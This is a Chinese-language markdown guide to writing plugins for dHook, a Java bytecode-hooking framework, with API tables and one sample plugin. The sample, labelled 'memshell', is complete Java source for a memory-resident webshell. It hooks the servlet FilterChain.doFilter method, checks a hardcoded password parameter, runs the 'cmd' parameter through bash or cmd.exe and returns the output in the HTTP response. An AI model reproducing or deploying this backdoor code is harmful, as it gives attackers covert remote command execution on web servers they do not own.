Skip to content

Latest commit

 

History

History
194 lines (169 loc) · 8.57 KB

plugin.md

File metadata and controls

194 lines (169 loc) · 8.57 KB

编写你的第一个插件

准备

  1. 创建一个新的java project,并命名为dHook.
  2. 下载dHook.zip
  3. 解压dHook.zip,放入你的插件项目中.
  4. 如下编写名为DHookExtender的类实现IDHookExtender接口,实现对应的方法.
package dHook;
public class DHookExtender implements IDHookExtender {

    public void registerExtenderCallbacks(IDHookExtenderCallbacks callbacks) {
        // your extension code here
    }
}

APIS

Interface IDHookExtenderCallbacks

Modifier and Type Method and Description
void setExtensionName(String name) 设置扩展名称
void setExtensionDesc(String desc) 设置扩展描述
void setExtensionHooks(List<String> hooks) 设置hook点
String getHookClassName 获取hook过程中的className
String getHookMethod() 获取hook过程中的method
String getHookDesc() 获取hook过程中的desc
Set<Source> getSource() 获取污点跟踪中的所有源对象
void invokeStatic(Type type, Method method) hook时调用静态方法
void invokeMethod(final int opcode, final String owner,final String name,final String descriptor) hook时调用方法
void invokeReturn() hook方法时,提前调用return,适用于void方法
void invokeReturn(String returnValue) hook方法时,提前调用return,适用于返回值为String方法
void invokeReturn(int returnValue) hook方法时,提前调用return,适用于返回值为int方法
void invokeReturn(String[] returnValue) hook方法时,提前调用return,适用于返回值为String[]方法
void invokeReturn(int[] returnValue) hook方法时,提前调用return,适用于返回值为int[]方法
void pushReturnValue(int opcode, String desc) 将hook的方法的返回值押入栈中
void pushThis() 将hook的类押入栈中
void pushParameter() 将hook的方法的参数押入栈中
void pushObject(Object parameter) 将指定的对象押入栈中
void pushInt(int parameter) 将int押入栈中

Interface IDHookExtenderCallbacks

Modifier and Type Method and Description
void registerExtenderCallbacks(IDHookExtenderCallbacks callbacks) 该方法将会在插件加载时调用,注册一个IDHookExtenderCallbacks 接口,默认调用其接口的多个方法,来为开发者提供想要的操作。
void onMethodExit(int opcode) 在方法退出(return前)时修改代码
void onMethodEnter() 在方法进入时修改代码
void onVisitCode() 在方法运行过程中修改代码

案例

memshell 内存马

public class DHookExtender implements IDHookExtender {

    private IDHookExtenderCallbacks callbacks;

    public void registerExtenderCallbacks(IDHookExtenderCallbacks callbacks) {
        ArrayList<String> list = new ArrayList<>();
        list.add("javax/servlet/FilterChain.doFilter(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V");
        callbacks.setExtensionHooks(list);
        callbacks.setExtensionName("memshell");
        callbacks.setExtensionDesc("内存马");
        this.callbacks = callbacks;
    }

    public void onMethodExit(int opcode) {}

    public void onMethodEnter() {
        //将当前参数(此处为request和response)加入调用栈
        callbacks.pushParameter();
        //将当前hook className加入调用栈
        callbacks.pushObject(callbacks.getHookClassName());
        //将当前hook method加入调用栈
        callbacks.pushObject( callbacks.getHookMethod());
        //将当前hook desc加入调用栈
        callbacks.pushObject(callbacks.getHookDesc());
        //调用静态方法
        this.callbacks.invokeStatic(ShellHandler.class, "doHook", "([Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V");
    }
}

public class ShellHandler {
    protected static final Class[] EMPTY_CLASS = new Class[]{};
    protected static final Class[] STRING_CLASS = new Class[]{String.class};
    private static final ThreadLocal<Boolean> longThreadLocal = new ThreadLocal<>();

    public static void doHook(Object[] args, String className, String method, String desc) {
        //避免一个请求多次触发
        if (longThreadLocal.get() == null) {
            longThreadLocal.set(true);
        } else {
            return;
        }
        //反射调用获取参数
        String c = (String) invokeMethod(args[0], args[0].getClass(), "getParameter", STRING_CLASS, "cmd");
        String psw = (String) invokeMethod(args[0], args[0].getClass(), "getParameter", STRING_CLASS, "psw");

        StringBuilder sb = new StringBuilder();
        for (Object arg : args) {
            sb.append(arg).append("\t");
        }
        String argStr = sb.toString();

        if (psw == null || !psw.equals("psw")) {
            return;
        }
        if (c != null) {
            String cmd;
            try {
                //执行命令
                cmd = execute(c);
            } catch (Exception e) {
                cmd = e.getMessage();
            }
            //填充httpResponse,提前返回
            write(args[1], cmd);
        }
    }

    public static Object invokeMethod(Object object, Class clazz, String methodName, Class[] paramTypes, Object... parameters) {
        try {
            Method method = clazz.getMethod(methodName, paramTypes);
            if (!method.isAccessible()) {
                method.setAccessible(true);
            }
            return method.invoke(object, parameters);
        } catch (Exception e) {
            if (clazz != null) {
            }
            return null;
        }
    }

    public static String execute(String cmd) throws Exception {
        StringBuilder result = new StringBuilder();
        if (cmd == null || cmd.length() == 0) {
            return result.toString();
        }
        DataInputStream dis = null;
        InputStream in = null;
        String osName = System.getProperty("os.name").toLowerCase();
        ProcessBuilder processBuilder;
        try {
            if (osName.contains("windows")) {
                processBuilder = new ProcessBuilder("cmd", "/c", cmd);
            } else {
                processBuilder = new ProcessBuilder("/bin/bash", "-c", cmd);
            }
            Process process = processBuilder.start();
            in = process.getInputStream();
            dis = new DataInputStream(in);
            String disr = dis.readLine();
            result.append("<pre>");
            while (disr != null) {
                result.append(disr).append("\n");
                disr = dis.readLine();
            }
            result.append("</pre>");

        } finally {
            if (in != null) in.close();
            if (dis != null) dis.close();
        }
        return result.toString();
    }

    public static void write(Object response, String value) {

        Object writer = invokeMethod(response, response.getClass(), "getWriterNoCheck", EMPTY_CLASS);
        if (writer == null) {
            writer = invokeMethod(response, response.getClass(), "getOutputStream", EMPTY_CLASS);
        }
        invokeMethod(response, response.getClass(), "disableKeepAliveOnSendError", EMPTY_CLASS);
        invokeMethod(response, response.getClass(), "setContentType", STRING_CLASS, "text/html");
        invokeMethod(response, response.getClass(), "setCharacterEncoding", STRING_CLASS, "UTF-8");

        assert writer != null;
        invokeMethod(writer, writer.getClass(), "print", STRING_CLASS, value);
        invokeMethod(writer, writer.getClass(), "flush", EMPTY_CLASS);
        invokeMethod(writer, writer.getClass(), "close", EMPTY_CLASS);

    }
}

jdk9+ 编写插件时,tomcat应用需要修改catalina.sh以下选项:

JDK_JAVA_OPTIONS="$JDK_JAVA_OPTIONS --add-opens=java.base/jdk.internal.loader=ALL-UNNAMED" JDK_JAVA_OPTIONS="$JDK_JAVA_OPTIONS --add-opens=jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED"

多个插件中自定义类名不要相同,目前会出现错误